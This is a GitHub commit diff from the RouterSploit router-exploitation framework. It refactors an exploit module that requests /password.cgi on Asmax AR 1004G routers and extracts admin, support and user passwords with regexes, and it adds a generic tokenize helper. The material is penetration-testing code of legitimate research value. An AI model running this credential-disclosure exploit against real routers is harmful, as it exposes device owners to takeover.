Skip to content

Commit

Permalink
Merge branch 'dev'
Browse files Browse the repository at this point in the history
  • Loading branch information
fwkz committed Jul 16, 2016
2 parents e13bfd3 + 206a70c commit 83eb1a6
Show file tree
Hide file tree
Showing 3 changed files with 39 additions and 16 deletions.
1 change: 1 addition & 0 deletions routersploit/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@
multi,
index_modules,
ssh_interactive,
tokenize,
)

from routersploit import exploits
Expand Down
26 changes: 11 additions & 15 deletions routersploit/modules/exploits/asmax/ar_1004g_password_disclosure.py
Original file line number Diff line number Diff line change
@@ -1,14 +1,12 @@
import re

from routersploit import (
exploits,
print_status,
print_error,
print_success,
print_table,
http_request,
mute,
validators,
tokenize,
)


Expand Down Expand Up @@ -39,21 +37,19 @@ def run(self):
creds = []
url = "{}:{}/password.cgi".format(self.target, self.port)

response = http_request(method="GET", url=url)
if response is None:
try:
response = http_request(method="GET", url=url).text
except AttributeError:
return

admin = re.findall("pwdAdmin = '(.+?)'", response.text)
if admin:
creds.append(('admin', admin[0]))

support = re.findall("pwdSupport = '(.+?)'", response.text)
if support:
creds.append(('support', support[0]))
tokens = [
("Admin", r"pwdAdmin = '(.+?)'"),
("Support", r"pwdSupport = '(.+?)'"),
("User", r"pwdUser = '(.+?)'")
]

user = re.findall("pwdUser = '(.+?)'", response.text)
if user:
creds.append(('user', user[0]))
for token in tokenize(tokens, response):
creds.append((token.typ, token.value[-1]))

if creds:
print_success("Credentials found!")
Expand Down
28 changes: 27 additions & 1 deletion routersploit/utils.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,9 +4,10 @@
import threading
import os
import sys
import re
import collections
import random
import string
import socket
import importlib
import select
import socket
Expand Down Expand Up @@ -507,3 +508,28 @@ def writeall(sock):
chan.send(d)
except:
pass


def tokenize(token_specification, text):
Token = collections.namedtuple('Token', ['typ', 'value', 'line', 'column', 'mo'])

token_specification.extend((
('NEWLINE', r'\n'), # Line endings
('SKIP', r'.'), # Any other character
))

tok_regex = '|'.join('(?P<%s>%s)' % pair for pair in token_specification)
line_num = 1
line_start = 0
for mo in re.finditer(tok_regex, text):
kind = mo.lastgroup
value = filter(lambda x: x is not None, mo.groups())
if kind == 'NEWLINE':
line_start = mo.end()
line_num += 1
elif kind == 'SKIP':
pass
else:
column = mo.start() - line_start
yield Token(kind, value, line_num, column, mo)

0 comments on commit 83eb1a6

Please sign in to comment.